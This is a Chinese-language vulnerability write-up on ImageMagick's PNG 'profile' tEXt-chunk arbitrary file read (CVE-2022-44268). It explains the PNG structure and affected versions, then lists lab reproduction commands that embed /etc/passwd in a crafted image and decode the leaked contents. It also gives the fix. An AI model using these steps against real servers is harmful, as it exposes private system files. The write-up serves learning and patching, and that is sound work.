漏洞说明
当使用ImageMagic解析png文件时,生成的图片有可能嵌入本地的任意文件内容。恶意攻击者可通过现有的png添加恶意文件块类型。如果关键字是字符串“profile”,则ImageMagick会将文本字符串解释为文件名,并将其内容加载为原始配置文件。攻击者可以下载被ImageMagick编辑后的图片文件,并可从该文件中读取先前指定的文件内容。
ImageMagick
ImageMagick是一个免费的创建、编辑、合成图片的软件。它可以读取、转换、写入多种格式的图片。图片切割、颜色替换、各种效果的应用,图片的旋转、组合,文本,直线,多边形,椭圆,曲线,附加到图片伸展旋转。ImageMagick是免费软件:全部源码开放,可以自由使用,复制,修改,发布,它遵守GPL许可协议,可以运行于大多数的操作系统,ImageMagick的大多数功能的使用都来源于命令行工具
PNG
PNG是20世纪90年代中期开始开发的图像文件存储格式,其目的是替代GIF和TIFF文件格式,同时增加一些GIF文件格式所不具备的特性。流式网络图形格式(Portable Network Graphic Format,PNG)名称来源于非官方的“PNG’s Not GIF”,是一种位图文件(bitmap file)存储格式,读成“ping”。PNG用来存储灰度图像时,灰度图像的深度可多到16位,存储彩色图像时,彩色图像的深度可多到48位,并且还可存储多到16位的α通道数据。PNG使用从LZ77派生的无损数据压缩算法。
PNG的文件结构是由文件署名和数据块组成的
文件署名
PNG的文件署名固定为:89504e470d0a1a0a 这8字节用来判断文件是否为PNG文件。
数据块
数据块是存在多个的,每个数据块由4个域组成:
数据域的长度(Length)
数据块类型码(Chunk Type Code)
Chunk Data (数据块实际内容)
CRC (循环冗余检测)
常见的数据块类型有:
文件头数据块IHDR
调色板数据块PLTE
图像数据块IDAT
图像结束数据IEND
除了这四类常见还有一些不常见的:
背景颜色数据块bKGD
基色和白色度数据块cHRM
图像γ数据块gAMA
图像直方图数据块hIST
物理像素尺寸数据块pHYs
样本有效位数据块sBIT
文本信息数据块tEXt
图像最后修改时间数据块tIME
图像透明数据块tRNS
压缩文本数据块zTXt
这次的漏洞就是出现在tEXt数据块中,当ImageMagic解析PNG时在tExt数据块中检测到关键字为"profile"后,就会奖profile的值作为文件名,然后去读取文件的内容并保存在新生成的的图片中。
影响版本
7.1.0-49<=ImageMagick < 7.1.0-52
漏洞复现
环境搭建使用P🐮的vulhub进行启动:
https://github.com/vulhub/vulhub/tree/master/imagemagick/CVE-2022-44268
docker-compose up -d
启动后访问http://ip:8080
可以使用P🐮提供的poc来生成图片
python3 poc.py generate -o poc.png -r /etc/passwd
将生成的图片上传上去。再下载处理后的图片
使用poc.py提取内容:
python3 poc.py parse -i result.png
2. 也可以使用pngcrush 生成图片
pngcrush -text a "profile" "/etc/passwd" poc.png
默认会生成pngout.png,上传该图片到服务器,再下载处理后的图片
读取处理后的图片
identify -verbose pngresult.png
复制这段内容,使用python进行解码
print(bytes.fromhex(text).decode("utf-8"))
修复建议
ImageMagick 7.1.0-52已修复该漏洞,可升级到修复版本以修复该问题:
https://github.com/ImageMagick/ImageMagick/releases
参考
https://wx.zsxq.com/dweb2/index/topic_detail/814821425482142
https://blog.csdn.net/suyimin2010/article/details/126042468
https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC
本文章仅用于学习交流,不得用于非法用途